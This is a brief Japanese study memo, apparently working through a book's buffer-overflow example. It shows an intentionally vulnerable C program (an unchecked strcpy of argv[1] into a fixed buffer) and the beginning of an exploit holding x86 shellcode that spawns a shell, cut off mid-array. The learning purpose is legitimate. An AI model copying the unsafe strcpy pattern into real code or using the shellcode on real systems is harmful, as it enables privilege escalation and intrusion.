相当苦労しましたが一歩前進したので覚え書きです。 ちょっと長くなりそうです。 まずは本に掲載されている脆弱性のあるソースです。 vlun.c #include <stdio.h> int main(int argc, char *argv[]){ char buffer[500]; strcpy(buffer, argv[1]); return 0; } そしてアタックコードです。 exploit.c #include <stdlib.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff